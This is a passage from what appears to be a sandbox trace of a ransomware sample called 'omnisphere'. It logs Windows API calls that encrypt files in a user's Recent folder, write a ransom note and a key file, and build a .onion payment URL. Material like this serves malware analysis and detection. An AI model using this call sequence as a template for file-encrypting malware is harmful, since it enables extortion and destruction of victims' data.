(lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lPq-WpX7TI4.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lpq-wpx7ti4.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.533] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.534] CloseHandle (hObject=0x3c0) returned 1 [0126.534] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.534] CloseHandle (hObject=0x288) returned 1 [0126.534] SetEndOfFile (hFile=0x28c) returned 1 [0126.534] FlushFileBuffers (hFile=0x28c) returned 1 [0126.541] CloseHandle (hObject=0x28c) returned 1 [0126.541] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lPq-WpX7TI4.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.541] GetProcessHeap () returned 0x1600000 [0126.541] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16da838 [0126.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.541] GetProcessHeap () returned 0x1600000 [0126.541] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5668 [0126.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5668, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.541] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.541] GetProcessHeap () returned 0x1600000 [0126.541] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d80e8 [0126.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d80e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.541] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.541] GetProcessHeap () returned 0x1600000 [0126.541] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16c0948 [0126.542] PathCombineW (in: pszDest=0x16c0948, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.542] GetProcessHeap () returned 0x1600000 [0126.542] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16d4908 [0126.542] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.542] WriteFile (in: hFile=0x28c, lpBuffer=0x16d4908*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16d4908*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.542] CloseHandle (hObject=0x28c) returned 1 [0126.542] GetProcessHeap () returned 0x1600000 [0126.542] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16da838 | out: hHeap=0x1600000) returned 1 [0126.542] GetProcessHeap () returned 0x1600000 [0126.542] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.542] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.542] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.542] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.543] CloseHandle (hObject=0x28c) returned 1 [0126.543] GetProcessHeap () returned 0x1600000 [0126.543] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.543] GetProcessHeap () returned 0x1600000 [0126.543] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656628 | out: hHeap=0x1600000) returned 1 [0126.543] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1728098a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20b1b670, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20b1b670, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4f5, dwReserved0=0x0, dwReserved1=0xd3, cFileName="lU4BwtBlLZP.lnk", cAlternateFileName="LU4BWT~1.LNK")) returned 1 [0126.543] GetProcessHeap () returned 0x1600000 [0126.543] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x1656f58 [0126.543] PathCombineW (in: pszDest=0x1656f58, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="lU4BwtBlLZP.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lU4BwtBlLZP.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lU4BwtBlLZP.lnk" [0126.543] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.543] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lU4BwtBlLZP.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lu4bwtbllzp.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.543] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1269) returned 1 [0126.543] GetTickCount () returned 0x115f941 [0126.543] GetTickCount () returned 0x115f941 [0126.543] GetTickCount () returned 0x115f941 [0126.543] GetTickCount () returned 0x115f941 [0126.543] GetTickCount () returned 0x115f941 [0126.543] GetTickCount () returned 0x115f941 [0126.543] GetTickCount () returned 0x115f941 [0126.543] GetTickCount () returned 0x115f941 [0126.543] GetTickCount () returned 0x115f941 [0126.543] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] GetTickCount () returned 0x115f941 [0126.544] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0126.545] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.545] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.545] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.545] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0126.545] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f5, lpName=0x0) returned 0x288 [0126.545] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f5) returned 0x1480000 [0126.545] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668e78) returned 1 [0126.546] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0126.546] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.546] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.547] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, 